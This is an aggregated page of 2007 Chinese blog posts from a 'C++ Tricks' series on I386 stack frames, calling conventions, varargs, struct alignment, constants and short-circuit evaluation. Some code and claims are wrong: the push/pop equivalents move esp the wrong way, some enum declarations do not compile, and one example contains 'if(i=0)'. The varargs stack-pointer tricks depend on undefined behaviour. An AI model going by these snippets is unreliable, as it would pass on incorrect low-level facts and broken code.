這種將編譯期與運行期常量的特性混用的方法,勢必導致語義的混亂。數組a的大小最終是5,因爲採用了i的編譯期值,而不管i在運行期是否被改變了值。最後一句代碼將(有可能)輸出551,第一個i的值作爲一種優化在編譯期綁定,第二個值標明瞭a的大小,第三個值通過指針顯示地輸出i的運行期真實值。

在C++的近親C#的語法中,這兩種常量被嚴格地區分開:編譯期常量由const指定,只能是內建類型變量;運行期常量由readonly指定,可以是任何類型。永遠不會改變的常量,如圓周率pi的值,應該用const聲明;而其它有可能改變的常量,皆由readonly聲明。

C++中的const的特點更傾向於C#中的readonly,雖然語法上允許使用const的編譯期常量性,但正如上文所展示的,這容易造成混亂。爲了得到C#中const的語義,在C++中,我們不必迴歸惡魔#define的懷抱,可以使用所謂“匿名enum技巧”。當匿名聲明一個enum類型時,其中的枚舉值就是一個int類型的編譯期常量,比如:

enum{Size=5;};

int a[Size];

這種使用匿名enum來聲明編譯期常量的做法,被廣泛應用於STL、boost等模板庫的實現代碼中。

by farseerfc at September 16, 2007 04:07 AM

August 28, 2007

farseerfc

C++ Tricks 2.2 I386平臺的內存佈局

farseerfc.wordpress.com 導入

2.2 I386平臺的內存佈局

衆所周知,I386是32位體系結構。因此對於絕大多數I386平臺的C++編譯器而言,sizeof(int)=sizeof(long)=sizeof(void*)=4。當然C++標準對此沒有任何保證,我們也不應該試圖編寫依賴於此的代碼。

32位指針的可尋址空間爲4GB。爲充分利用這麼大的尋址空間,也是爲了支持其它更先進的技術比如多任務技術或者動態鏈接庫技術,WinNT使用虛擬內存技術,給與每個應用程序全部4GB的內存空間。4GB的地址被一分爲二,前2GB供應用程序自己使用,後2GB由系統內核分配和管理。這2GB的內存地址,通常被劃分成3種內存區使用:

1 代碼及靜態數據區

由代碼加載器從動態鏈接庫鏡像(通常是exe或dll文件)加載,通常定位到鏡像文件中指定的基址開始的內存區。如果基址所在內存已被佔用,動態連接器會將代碼或數據重定向到其它可用地址。

在C++中,靜態數據包括:名字空間(namespace)和全局(global)對象、函數的static對象、類的static數據成員。這些靜態數據由編譯器分配地址(但可能被重定向),由靜態連接器寫入代碼文件(通常是exe或dll)的靜態數據區段。所以標準說,這些靜態數據在編譯期就已經具有地址。

2 棧(Stack)

棧是最常用的動態數據存儲區,所有函數的non-static對象和函數參數都在程序運行期在棧上分配內存。在數據結構中,術語“棧(Stack)”意指先進後出(FILO,First In Last Out),與“隊列(Queue)”所指的FIFO相對。相對於基於堆的對象分配技術,默認使用棧的對象分配有兩點優勢:

一、棧的FILO與人的思維方式相同

現實生活中有許多事例都使用FILO的方式,比如人們必須先提起話筒再撥打號碼,而後掛斷電話之後再放下話筒。使用FILO的棧,可以保證事物的銷燬順序以其誕生順序相反的順序進行,不會產生在掛斷電話之前就放下話筒的尷尬。

二、棧的分配管理僅需要兩個額外指針:棧頂(esp)和棧底(ebp)指針

從實現的技術層面而言,棧的管理比其它動態分配技術要簡單很多。I386平臺上的動態棧管理,僅需要棧頂和棧底兩個指針。這兩個指針的存儲顯然不能放置於棧中,置於靜態數據區又有損效率。I386平臺爲管理動態棧專門預留了兩個通用寄存器變量esp與ebp,分別代表棧頂(esp,Extended Stack Pointer)與棧底(Extended Bottom Pointer)指針。其中的extended代表它們是32位指針,以區分16位的sp和bp寄存器。

棧是動態存儲區的特點,表明它的內存佔用將隨着程序的運行而變化。I386平臺上WinNT將應用程序的棧置於程序空間,向下增長。程序初始化時,由操作系統將esp指向系統分配的棧空間的頂部。當程序需要在棧上分配變量時,就將esp減去變量所需字節數,這被稱作“壓棧(Push)”;隨後又要銷燬變量時,就將esp加上變量所需字節數,這被稱作“彈出(Pop)”。esp與ebp兩者之間所夾的空間,就是當前函數正在使用的棧空間。由於棧向下增長,esp(棧頂)的值總是小於ebp(棧底)的值,新分配的變量地址總是小於舊變量的地址。

3 堆(Heap)和自由存儲區

棧中的變量對於分配與釋放的順序有特定要求,這在一定程度上限制了棧的適用範圍。面向對象(OO,Object Oriented)的程序設計思想也要求能自由地控制變量的分配與銷燬。由此,現代操作系統都提供了被稱作“堆(Heap)”的自由存儲區,以允許由程序員控制的對象創建和銷燬過程。C標準庫函數malloc和free則是對操作系統提供的堆操作的封裝。C++提供的自由存儲區運算符new和delete則通常是malloc和free的又一層封裝。

操作系統經由malloc和free控制對堆的訪問。堆的存儲管理技術各不相同,簡單的使用雙鏈表管理,複雜的可以比擬一個完整的文件系統。

由於額外的管理需求,使用系統提供的通用分配器在堆上分配和銷燬變量的代價,無論從空間角度還是效率角度而言,都比在棧上分配對象要高昂很多。對於sizeof上百的大型對象,這樣的高昂代價還是可以接受的,但是對於sizeof只有個位數的小對象,這樣的代價通常是一個數量級的差距。正因爲這個原因,STL不使用new和delete,轉而使用分配子(alllocor)分配對象。

by farseerfc at August 28, 2007 05:30 AM

C++ Tricks

farseerfc.wordpress.com 導入

C++ Tricks

By  FarseerFc

從今天起,我再將在Live SpaceQQZone同時發表一系列文章,暫定名爲“C++Tricks”。

本文旨在記錄和闡述一些本人學習C++時所得的心得、技巧。總體來看,本文涉及的內容是每一個C++程序員都應該知道的,但是很少見諸C++教材。希望對各位同仁學習C++有所幫助。

也可以通過QQ或MSN向我索要此文的DOC版或PDF版,會比網頁上的更新的快一點。

by farseerfc at August 28, 2007 05:28 AM

C++ Tricks 2.7 I386平臺的其它函數調用模型

farseerfc.wordpress.com 導入

2.7 I386平臺的其它函數調用模型

上文介紹的只是I386平臺上C函數調用的標準模型,被稱作__cdecl。事實上,Microsoft Visual C++編譯器還支持其它一些函數調用模型,所有調用模型名稱皆以雙下劃線開頭,下面列出所有函數調用模型的異同:

1 __cdecl

參數壓棧順序:逆序(從右至左)

參數堆棧恢復者:主調函數(caller)

__cdecl明確地指出函數使用C函數調用模型,這是默認的調用模型。

2 __stdcall

參數壓棧順序:逆序(從右至左)

參數堆棧恢復者:被調函數(callee)

__stdcall是微軟所謂的標準調用模型。可惜的是它與__cdecl不兼容。幾乎所有的Win32API函數使用這種函數調用模型,希望在DLL之間,或者在程序和WinNT操作系統之間傳遞函數指針的函數也應該使用這種模型。與__cdecl模型的不同之處在於,__stdcall模型下由被調函數恢復堆棧。主調函數在call語句之後,不需要再加上add語句。而被調函數的ret語句則被添加一個參數,代表函數參數堆棧的長度。因此,被調函數需要明確的知曉函數參數的數量和類型,所以在__stdcall模型下不支持可變參數表,所有參數必須寫明。

3 __thiscall

參數壓棧順序:逆序(從右至左),this用ecx傳遞。

參數堆棧恢復者:被調函數(callee)

__thiscall是VC編譯器中類的非靜態成員函數(non-static member functon)的默認調用模型。但是如果此成員函數有可變參數表,VC編譯器會使用__cdecl。和__stdcall一樣,__thiscall由被調函數恢復堆棧。比較獨特的是__thiscall會通過ecx寄存器傳遞成員函數的this指針,而__cdecl下this指針是通過在參數表最前面增加一個函數參數來傳遞的。__thiscall是VC編譯器對this指針的使用的一種優化,大大提高了面向對象程序的效率。在VC2003及之前的編譯器上__thiscall不是一個關鍵字,不能被顯式指定。但可以給成員函數顯式指定__cdecl來避免使用__thiscall。

4 __fastcall

參數壓棧順序:逆序(從右至左),前兩個32位函數參數放入ecx和edx中

參數堆棧恢復者:被調函數(callee)

快速函數調用模型,將前兩個32位函數參數放入ecx和edx中,其餘參數再逆序壓棧。使用的是和__thiscall類似的優化技術,加快函數調用,適合運用在小型inline函數上。同樣使用__stdcall形式的被調函數恢復堆棧,所以不支持可變參數表。

5 __pascal

參數壓棧順序:正序(從左至右)

參數堆棧恢復者:被調函數(callee)

過程式編程語言Pascal所使用的函數調用模型,由此得名。也是16位版本的Windows使用的API模型,過時的模型,現在已經廢棄且禁止使用。你會看到有些書本仍會不時提到它,所以需要注意。__pascal是正序壓棧,這與大部分I386函數模型都不相同。與__stdcall一樣,由被調者恢復堆棧,不支持可變參數表。歷史上曾有過的別名PASCAL、pascal、_pascal(單下劃線),現在都改成了__stdcall的別名,與__pascal(雙下劃線)不同。

6 其它函數調用模型,以及模型別名。

__syscall:操作系統內部使用的函數調用模型,由用戶模式向核心模式跳轉時使用的模型。由於用戶模式和核心模式使用不同的棧,所以沒辦法使用棧來傳遞參數,所有參數通過寄存器傳遞,這限制了參數的數量。用戶模式編程中不允許使用。

__fortran:數學運算語言fortran使用的函數模型,由此得名。在C中調用由fortran編譯的函數時使用。

__clrcall:微軟.Net框架使用的函數模型,託管(Managed)C++默認使用,也可以從非託管代碼調用託管函數時使用。參數在託管棧上正序(從左至右)壓棧,不使用普通棧。

CALLBACK、PASCAL、WINAPI、APIENTRY、APIPRIVATE:I386平臺上是__stdcall的別名

WINAPIV:I386平臺上是__cdecl的別名

7 函數調用模型的指定

函數調用模型的指定方式和inline關鍵字的指定方式相同,事實上,inline可以被看作是C++語言內建的一種函數調用模型。唯一不同的是,聲明函數指針時,也要指明函數調用模型,而inline的指針是不能指明的,根本不存在指向inline函數的指針。比如:

int CALLBACK GetVersion();

int (CALLBACK * pf)()=GetVersion;

by farseerfc at August 28, 2007 05:28 AM

C++ Tricks 2.6 I386平臺C函數的可變參數表(Variable Arguments)

farseerfc.wordpress.com 導入

2.6 I386平臺C函數的可變參數表(Variable Arguments)

基於前文(2.4節)分析,我們可以不通過函數簽名,直接通過指針運算,來得到函數的參數。由於參數的壓棧和彈出操作都由主調函數進行,所以被調函數對於參數的真實數量不需要知曉。因此,函數簽名中的變量聲明不是必需的。爲了支持這種參數使用形式,C語言提供可變參數表。可變參數表的語法形式是在參數表末尾添加三個句點形成的省略號“...”:

void g(int a,char* c,...);

省略號之前的逗號是可選的,並不影響詞法語法分析。上面的函數g可以接受2個或2個以上的參數,前兩個參數的類型固定,其後的參數類型未知,參數的個數也未知。爲了知道參數個數,我們必須通過其他方法,比如通過第一個參數傳遞:

g(3,”Hello”,2,4,5);//調用g並傳遞5個參數,其中後3個爲可變參數。

在函數的實現代碼中,可以通過2.4節敘述的,參數在棧中的排列順序,來訪問位於可變參數表的參數。比如:

void g(int a,char* c...){

void *pc=&c;int* pi=static_cast<int*>(pc)+1;//將pi指向首個可變參數

for(int i=0;i<a;i++)std::cout<<pi[i]<<” ”;

std::cout<<c<<std::endl;

}

我們甚至可以讓一個函數的所有參數都是可變參數,只要有辦法獲知參數的數量即可。比如,我們約定,在傳遞給addAll的參數都是int,並且最後一個以0結束:

int addAll(...);

int a=f(1,4,2,5,7,0);

那麼addAll可以這樣實現:

int addAll(...){

int sum=0;int *p=&sum; //p指向第一個局部變量

p+=3; //跳過sum,ebp,eip,現在p指向第一個參數

for(;*p;++p) //如果p不指向0就繼續循環

sum+=*p;

return sum;

}

可變參數表的最廣泛應用是C的標準庫函數中的格式化輸入輸出:printf和scanf。

void printf(char *c,...);

void scanf(char *c,...);

兩者都通過它的首個參數指出後續參數表中的參數類型和參數數量。

如果可變參數表中的參數類型不一樣,那麼操縱可變參數表就需要複雜的指針運算,並且還要時刻注意邊界對齊(align)問題,非常令人頭痛。好在C標準庫提供了用於操縱可變參數表的宏(macro)和結構(struct),他們被定義在庫文件stdarg.h中:

typedef struct {char *p;int offset;} va_list;

#define va_start(valist,arg)

#define va_arg(valist,type)

#define va_end(valist)

其中結構va_list用於指示參數在棧中的位置,宏va_start接受一個va_list和函數的可變參數表之前的參數,通過第一個參數初始化va_list中的相應數據,因此要使用stdarg.h中的宏,你的可變參數表的函數必須至少有一個具名參數。va_arg返回下一個類型爲type的參數,va_end結束可變參數表的使用。還是以上文的addAll爲例,這次寫出它的使用標準宏的版本:

int addAll(int i,...)

{

va_list vl; //定義一個va_list結構

va_start(vl,i); //用省略號之前的參數初始化vl

if(i=0)return 0; //如果第一個參數就是0,返回

int sum=i; //將第一個參數加入sum

for(;;){

i=va_arg(vl,int); //取得下一個參數,類型是sum

if(i==0)break; //如果參數是0,跳出循環

sum+=i;

}

va_end(vl);

return sum;

}

可以看出,如果參數類型一致,使用標準庫要多些幾行代碼。不過如果參數類型不一致或者未知(printf的情況),使用標準庫就要方便很多,因爲我們很難猜出編譯器處置邊界對齊(align)等彙編代碼的細節。使用標準庫的代碼是可以移植的,而使用上文所述的其它方法操縱可變參數表都是不可移植的,僅限於在I386平臺上使用。

縱使可變參數表有使用上的便利性,它的缺陷也有很多,不可移植性和平臺依賴性只是其一,最大的問題在於它的類型不安全性。使用可變參數表就意味着編譯器不對參數作任何類型檢查,這在C中算是一言難盡的歷史遺留問題,在C++中就意味着惡魔reinterpret_cast被你喚醒。C的可變參數表是C++代碼錯誤頻發的根源之一,以至於C++標準將可變參數表列爲即將被廢除的C語言遺留特性。C++語法中的許多新特性,比如重載函數、默認參數值、模板,都可以一定程度上替代可變參數表,並且比可變參數表更加安全。

可變參數表在C++中惟一值得嘉獎的貢獻,是在模板元編程(TMP)的SFINAE技術中利用可變參數表製作最差匹配重載。根據C++標準中有關函數重載決議的規則,具有可變參數表的函數總是最差匹配,編譯器在被逼無奈走頭無路時纔會選擇可變參數表。利用這一點,我們可以精心製作重載函數來提取類型信息。比如,要判斷一個通過模板傳遞來的類型是不是int:

long isIntImp(int);

char isIntImp(...);

template<typename T>

struct isInt

{

enum{value=sizeof(isIntImp(T()))==sizeof(long);}

}

然後,在一個具有模板參數T的函數中,我們就可以寫

if(isInt<T>::value)//...

在這個(不怎麼精緻的)例子中,如果T是int,那麼isIntImp的第一個重載版本就會被選中,返回值類型就是long,這樣value就爲1。否則,編譯器只能選中第二個具有可變參數表的重載版本,返回值類型成爲char,這樣value就爲0。把它說得再明白一些,上文的代碼所表達的意思是:如果類型T是int,那它就是int,否則它就不是int,呵呵簡單吧。這種通過重載決議規則來提取類型信息的技術,在模板元編程中被稱作SFINAE,它和其它模板元編程技術被廣泛運用於STL、Boost等模板庫的開發實現之中。

值得注意的是,在上文SFINAE的運用中,isIntImp並沒有出現定義而只提供了聲明,因爲我們並沒有實際調用isIntImp函數,而只是讓它參與重載決議並用sizeof判斷其返回值類型。這是C++的一個設計準則的完美體現:不需要的東西可以不出現。由於這一準則,我們避免了在C++中調用具有可變參數表的函數這一危險舉動,而僅僅利用了可變參數表在語法分析過程中的特殊地位,這種對於危險語言特性的巧妙利用是善意而無害的。

by farseerfc at August 28, 2007 05:28 AM

C++ Tricks 2.5 I386平臺的邊界對齊(Align)

farseerfc.wordpress.com 導入

2.5 I386平臺的邊界對齊(Align)

首先提問,既然I386上sizeof(int)==4、sizeof(char)==1,那麼如下結構(struct)A的sizeof是多少?

struct A{int i;char c;};

答案是sizeof(A)==8……1+5=8?

呵呵,這就是I386上的邊界對齊問題。我們知道,I386上有整整4GB的地址空間,不過並不是每一個字節上都可以放置任何東西的。由於內存總線帶寬等等的技術原因,很多體系結構都要求內存中的變量被放置於某一個邊界的地址上。如果違反這個要求,重則導致停機出錯,輕則減慢運行速度。對於I386平臺而言,類型爲T的變量必須放置在sizeof(T)的整數倍的地址上,char可以隨便放置,short必須放在2的整數倍的地址上,int必須放在4的整數倍的地址上,double必須放在8的整數倍的地址上。如果違反邊界對齊要求,從內存中讀取數據必須進行兩次,然後將獨到的兩半數據拼接起來,這會嚴重影響效率。

由於邊界對齊問題的要求,在計算struct的sizeof的時候,編譯器必須算入額外的字節填充,以保證每一個變量都能自然對齊。比如如下聲明的struct:

struct WASTE

{

char c1;

int i;

char c2;

}

實際上相當於聲明瞭這樣一個結構:

struct WASTE

{

char c1;

char _filling1 [3];//三個字節填充,保證下一個int的對齊

int i;

char c2;

char _filling2 [3];//又三個字節填充

}

值得注意的是尾部的3個字節填充,這是爲了可以在一個數組中聲明WASTE變量,並且每一個都自然對齊。因爲有了這些填充,所以sizeof(WASTE)==12。這是一種浪費,因爲只要我們重新安排變量的聲明,就可以減少sizeof:

struct WASTE

{

int i;

char c1,c2;

}

像這樣的安排,sizeof就減少到8,只有2個字節的額外填充。爲了與彙編代碼相兼容,C語言語法規定,編譯器無權擅自安排結構體內變量的佈局順序,必須從左向右逐一排列。所以,妥當安排成員順序以避免內存空間的浪費,就成了我們程序員的責任之一。一般的,總是將結構體的成員按照其sizeof從大到小排列,double在最前,char在最後,這樣總可以將結構的字節填充降至最小。

C++繼承了C語言關於結構體佈局的規定,所以以上的佈局準則也適用於C++的class的成員變量。C++進一步擴展了佈局規定,同一訪問區段(private、public、protected)中的變量,編譯器無權重新排列,不過編譯器有權排列訪問區段的前後順序。基於這個規則,C++中有的程序員建議給每一個成員變量放在單獨區段,在每一個成員聲明之前都加上private:、public:、protected:標誌,這可以最大限度的利用編譯器的決策優勢。

在棧中按順序分配的變量,其邊界也受到對齊要求的限制。與在結構中不同的是,棧中的變量還必須保證其後續變量無論是何種類型都可以自由對齊,所以在棧中的變量通常都有平臺相關的對齊最小值。在MSVC編譯器上,這個最小值可以由宏_INTSIZEOF(T)查詢:

#define _INTSIZEOF(T) ( (sizeof(T) + sizeof(int) - 1) & ~(sizeof(int) - 1) )

_INTSIZEOF(T)會將sizeof(T)進位到sizeof(int)的整數倍。

由於在棧中分配變量使用_INTSIZEOF而不是sizeof,在棧上連續分配多個小變量(sizeof小於int的變量)會造成內存浪費,不如使用結構(struct)或數組。也就是說:

char c1,c2,c3,c4;//使用16字節

char c[4];//使用4字節

當然,使用數組的方法在訪問數組變量(比如c[1])時有一次額外的指針運算和提領(dereference)操作,這會有執行效率的損失。這又是一種空間(內存佔用)vs時間(執行效率)的折中,需要程序員自己根據情況權衡利弊。

sizeof的大小可能比我們預期的大,也可能比我們預期的小。對於空類:

class Empty {};

在通常情況下,sizeof(Empty)至少爲1。這是因爲C++語法規定,對於任何實體類型的兩個變量,都必須具有不同的地址。爲了符合語法要求,編譯器會給Empty加入1字節的填充。所以sizeof()的值不可能出現0的情況。可是對於以下的類聲明:

class A:public Empty{vitual ~A(){}};

sizeof(A)有可能是6,也有可能是5,也有可能是4!必不可少的四個字節是一個指向虛函數表的指針。一個可能有的字節是Empty的大小,這是是因爲編譯器在特定情況下會將Empty視作一個“空基類”,從而實施“空基類優化”,省掉那毫無作用的一字節填充。另一個字節是A的一字節填充,因爲從語法上講,A沒有成員聲明,理應有1字節填充,而從語義上講,編譯器給A的聲明加入了一個指向虛函數表的指針,從而A就不再是一個“空類”,是否實施這個優化,要看編譯器作者對語法措詞的理解。也就是說,sizeof也會出現4+1+1=4的情況。具體要看編譯器有沒有實施“空基類優化”和“含虛函數表的空類優化”。

結構和類的空間中可能有填充的字節,這意味着填充字節中可能有數值,雖然這數值並不影響結構的邏輯狀態,但是它也可能不知不覺中影響到你。比如說,你手頭正好有一組依賴於底層硬件(比如多處理器)的函數,他們在操縱連續字節時比手動編碼要快很多,而你想充分利用這種硬件優勢:

bool BitCompare(void* begin,void* end,void* another);

這個函數將區間[begin,end)之間的字節與another開始的字節相比較,如果有一位不同就返回false,否則返回true。

比如你想將這個函數用於你自己的類的operator==中,這樣可以利用硬件加快速度。不過你在動手前要充分考慮,你的class是否真的要比較每一位。如果在類的成員中存在編譯器填充的字節數,那麼應用以上的函數就是不正確的,因爲填充的字節中可以有不同的值。爲了保證你可以用Bitwise Compare,你必須確保填充的字節中的值也是相同的。這不僅要求你在類的構造函數中初始化類的每一bit而不是每一個成員,也要求你在複製初始化和複製賦值函數中也同時保證bitwise copy語義,而不是編譯器默認產生的memberwise語義。當然,你可能通過與BitCompare一同提供的BitCopy來完成這個艱鉅的任務。

by farseerfc at August 28, 2007 05:28 AM

C++ Tricks 2.4 I386平臺C函數調用邊界的棧分配

farseerfc.wordpress.com 導入

2.4 I386平臺C函數調用邊界的棧分配

當調用一個函數時,主調函數將參數以聲明中相反的順序壓棧,然後將當前的代碼執行指針(eip)壓棧,然後跳轉到被調函數的入口點。在被調函數中,通過將ebp加上一個偏移量來訪問函數參數,以聲明中的順序(即壓棧的相反順序)來確定參數偏移量。被調函數返回時,彈出主調函數壓在棧中的代碼執行指針,跳回主調函數。再由主調函數恢復到調用前的棧。

函數的返回值不同於函數參數,通過寄存器傳遞。如果返回值類型可以放入32位變量,比如int、short、char、指針等類型,通過eax寄存器傳遞。如果返回值類型是64位變量,如_int64,同過edx+eax傳遞,edx存儲高32位,eax存儲低32位。如果返回值是浮點類型,如float和double,通過專用的浮點數寄存器棧的棧頂返回。如果返回值類型是用戶自定義結構,或C++類類型,通過修改函數簽名,以引用型參數的形式傳回。

同樣以最簡單的函數爲例:

void f(){

int i=g(1,2);

}

int g(int a,int b){

int c=a+b;

return c;

}

產生的彙編代碼如下:

f:

push ebp ;備份ebp

mov ebp,esp ;建立棧底

sub esp,4 ;爲i分配空間

mov eax,2 ;準備參數b的值2

push eax ;將b壓棧

mov eax,1 ;準備參數a的值1

push eax ;將a壓棧

call g ;調用g

add esp,8 ;將a和b一起彈出,恢復調用前的棧

mov dword ptr[ebp-4],eax ;將返回值保存進變量i

mov esp,ebp ;恢復棧頂

pop ebp ;恢復棧底

g:

push ebp ;備份ebp

mov ebp,esp ;建立棧底

sub esp,4 ;爲局部變量c在棧中分配內存

mov eax,dword ptr[ebp+8] ;通過ebp間接讀取參數a的值

mov ebx,dword ptr[ebp+12] ;通過ebp間接讀取參數b的值

add eax,ebx ;將a和b的值相加,之和存在eax中

mov dword ptr[ebp-4],eax ;將和存入變量c

mov eax,dword ptr[ebp-4] ;將c作爲返回值,代碼優化後會刪除此句

add esp,4 ;銷燬c的內存

mov esp,ebp ;恢復棧頂

pop ebp ;恢復棧底

ret ;返回函數f

棧的內存佈局如下:

100076:c <- g的esp

100080:f的ebp=100100 <- g的ebp

100084:f的eip

100088:a=1

100092:b=2

100096:i

100100:舊ebp <-f的ebp

100104:……

注意在函數g的彙編代碼中,訪問函數的局部變量和訪問函數參數的區別。局部變量總是通過將ebp減去偏移量來訪問,函數參數總是通過將ebp加上偏移量來訪問。對於32位變量而言,第一個局部變量位於ebp-4,第二個位於ebp-8,以此類推,32位局部變量在棧中形成一個逆序數組;第一個函數參數位於ebp+8,第二個位於ebp+12,以此類推,32位函數參數在棧中形成一個正序數組。

由於函數返回值通過寄存器返回,不需要空間分配等操作,所以返回值的代價很低。基於這個原因,舊的C語法約定,不寫明返回值類型的函數,返回值類型爲int。這一規則與現行的C++語法相違背,因爲C++中,不寫明返回值類型的函數返回值類型爲void,表示不返回值。這種語法不兼容性是爲了加強C++的類型安全,但同時也帶來了一些問題。

by farseerfc at August 28, 2007 05:28 AM

C++ Tricks 2.3 I386平臺C函數內部的棧分配

farseerfc.wordpress.com 導入

2.3 I386平臺C函數內部的棧分配

函數使用棧來保存局部變量,傳遞函數參數。進入函數時,函數在棧上爲函數中的變量統一預留棧空間,將esp減去相應字節數。當函數執行流程途徑變量聲明語句時,如有需要就調用相應構造函數將變量初始化。當執行流程即將離開聲明所在代碼塊時,以初始化的順序的相反順序逐一調用析構函數。當執行流程離開函數體時,將esp加上相應字節數,歸還棧空間。

爲了訪問函數變量,必須有方法定位每一個變量。變量相對於棧頂esp的位置在進入函數體時就已確定,但是由於esp會在函數執行期變動,所以將esp的值保存在ebp中,並事先將ebp的值壓棧。隨後,在函數體中通過ebp減去偏移量來訪問變量。以一個最簡單的函數爲例:

void f()

{

int a=0; //a的地址被分配爲ebp-4

char c=1; //c的地址被分配爲ebp-8

}

產生的彙編代碼爲:

push ebp ;將ebp壓棧

mov ebp,esp ;ebp=esp 用棧底備份棧頂指針

sub esp,8 ;esp-=8,爲a和c預留空間,包括邊界對齊

mov dword ptr[ebp-4],0 ;a=0

mov byte ptr[ebp-8],1 ;c=1

add esp,8 ;esp+=8,歸還a和c的空間

mov esp,ebp ;esp=ebp 從棧底恢復棧頂指針

pop ebp ;恢復ebp

ret ;返回

相應的內存佈局是這樣:

09992:c=1 <-esp

09996:a=0

10000:舊ebp <-ebp

10004:……

注:彙編中的pop、push、call、ret語句是棧操作指令,其功能可以用普通指令替換

push ebp相當於:

add esp,4

mov dword ptr[esp],ebp

pop ebp相當於:

mov ebp,dword ptr[esp]

sub esp,4

call fun_address相當於:

push eip

jmp fun_address

ret相當於

add esp,4

jmp dword ptr[esp-4]

帶參數的ret

ret 8相當於

add esp,12

jmp dword ptr[esp-4]

所有局部變量都在棧中由函數統一分配,形成了類似逆序數組的結構,可以通過指針逐一訪問。這一特點具有很多有趣性質,比如,考慮如下函數,找出其中的錯誤及其造成的結果:

void f()

{

int i,a[10];

for(i=0;i<=10;++i)a[i]=0;/An error occurs here!

}

這個函數中包含的錯誤,即使是C++新手也很容易發現,這是老生常談的越界訪問問題。但是這個錯誤造成的結果,是很多人沒有想到的。這次的越界訪問,並不會像很多新手預料的那樣造成一個“非法操作”消息,也不會像很多老手估計的那樣會默不作聲,而是導致一個,呃,死循環!

錯誤的本質顯而易見,我們訪問了a[10],但是a[10]並不存在。C++標準對於越界訪問只是說“未定義操作”。我們知道,a[10]是數組a所在位置之後的一個位置,但問題是,是誰在這個位置上。是i!

根據前面的討論,i在數組a之前被聲明,所以在a之前分配在棧上。但是,I386上棧是向下增長的,所以,a的地址低於i的地址。其結果是在循環的最後,a[i]引用到了i自己!接下來的事情就不難預見了,a[i],也就是i,被重置爲0,然後繼續循環的條件仍然成立……這個循環會一直繼續下去,直到在你的帳單上產生高額電費,直到耗光地球電能,直到太陽停止燃燒……呵呵,或者直到聰明的你把程序Kill了……

by farseerfc at August 28, 2007 05:28 AM

August 27, 2007

farseerfc

C++ Tricks 2.1 X86概述

farseerfc.wordpress.com 導入

2.1   X86概述

所謂X86體系結構,是指以Intel 8086芯片爲首的芯片所沿襲的CPU結構,一些文檔中又被稱作IA32體系結構。包括的芯片有但不限於:Intel 8086至 80486,奔騰(Pentium)系列處理器1至4,賽揚系列處理器,酷睿系列處理器,以及AMD的相應型號產品。X86體系結構在早期屬於16位處理器,自80386之後擴展爲32位處理器,所以一些文檔中又把80386之後的32位處理器體系稱作I386。自Pentium4後期,AMD的Athlon64開始,I386被進一步擴充爲64位處理器,含有64位尋址能力的X86體系結構被稱作X86-64或IA32-64。總之,市售的個人電腦用CPU,除蘋果的Macintosh之外,全部採用X86體系結構芯片。

在X86早期,16位的尋址能力只支持64KB(2^16=64K)內存,這顯然是不夠的。Intel採用分段尋址的方法,用4位段位+16位偏移量,提供了總共1MB(2^20=1M)的尋址能力。所以在X86的16位編程中,有兩種指針類型:長指針(lp,long pointer)和短指針(sp,short pointer),長指針(20位)提供整個內存空間尋址能力,短指針(16位)僅支持同一段中的尋址。在“古代”DOS及Win3.x編程過程中,兩種類型的指針,以及總共1MB的內存大小,常常把程序員們折騰得焦頭爛額。

自I386之後,CPU纔開始提供32位的尋址能力。有了整整4GB(2^32=4G)的尋址空間,所有指針統一爲長指針(32位)。時至今日,我們仍可以看到微軟文檔中指針變量的lp前綴。由於內存管理的需要,分段機制被保留下來,但這一次不是因爲地址空間太小,而是因爲地址空間遠大於實際內存容量,從而採用了虛擬內存機制。

在從16位結構向32位結構轉變的過程中,由於向下兼容的歷史原因,曾一度長時間出現硬件32位(I386)、軟件16位(Win3.x)的情況。同樣也是爲了兼容16位軟件,Win9x操作系統(Win95、Win98、WinME)保留了16位代碼和32位代碼。混合代碼的設計使得Win9x及其混亂和不穩定。直到完全32位內核的操作系統WinNT(以及構建於其上的Win2000,WinXP,Win2003)的出現,X86平臺上內存佈局混亂的局面才得以改善。有了從16位至32位移植的經驗和準備,現今的從32位到64位的操作系統移植顯得平穩順利很多。WinXP和WinVista系統都同時發佈了32位版本和64位版本,並且其x86-64系統都實現了對32位軟件的無縫銜接支持。

by farseerfc at August 27, 2007 07:33 AM

August 22, 2007

farseerfc

C++ Tricks 1.2 逗號運算符(,)、邏輯運算符(&&,||)與運算符重載的陷阱

farseerfc.wordpress.com 導入

1.2   逗號運算符(,)、邏輯運算符(&&,||)與運算符重載的陷阱

很多人甚至不知道逗號(,)也是個C++運算符。與語法上要求出現的逗號(比如分隔函數參數的逗號)不同的是,出現在表達式中的逗號運算符在語義上表示多個表達式操作的連續執行,類似於分隔多語句的分號。比如:

for(inti=0,j=9;i<10;++i,--j)std::cout<<i<<”+”<<j<<”=9\n”;

在這句語句中,出現了兩個逗號,其中前者是語法上用來分隔聲明的變量的,並非逗號運算符,而後者則是一個逗號運算符。根據C++標準,逗號運算符的執行順序爲從左到右依次執行,返回最後一個子表達式的結果。由於只有最後一個表達式返回結果,所以對於一個語義正常的逗號表達式而言,前幾個子表達式必須具有副作用。同時,從語言的定義中也可以看出,逗號表達式對求值的順序有嚴格要求。

對求值順序有要求的,除了逗號表達式和條件表達式(參見1.1),在C++中還有邏輯運算符(&&和||)。邏輯運算相較於數學運算和位運算而言,有個顯著的不同點:邏輯運算在計算到一半時,就有可能已經得到結果,這樣繼續運算另一半就不是必需的。對於A&&B,如果A=false,那麼無論B爲何值,整個的結果都是false;同樣的A||B,如果A=true,那麼不考慮B,結果一定是true。

C++標準規定,如果邏輯運算到一半(算出A)時,就已經可以確定運算的結果,那麼就不運算剩下的另一半(B)。這種執行語義被稱作“短路”。在其它一些編程語言中,短路語義是可以選擇的:在Ada裏非短路的邏輯運算符爲and和or,短路的邏輯運算符爲and_then和or_else。但是在C++中,邏輯運算符的短路語義是語法上強制的,我們沒有非短路版本的運算符。如果確實需要非短路語義,我們總是可以通過增加一個bool中間變量加以解決。有時,短路對於保證正確執行是必須的,比如:

char*p=getString();

if(p&&*p)std::cout<<p;

這段代碼在得到了一個字符串後,在字符串不爲空時輸出它。在C++中判斷一個字符串不爲空需要兩個步驟:判斷指針是否爲0,以及指針不爲0時判斷指針指向的內容是否爲’’。就像條件表達式中討論到的(參見1.1),在p爲空時提領p是個極其危險的操作。邏輯運算符的短路語義則避免了這種危險。

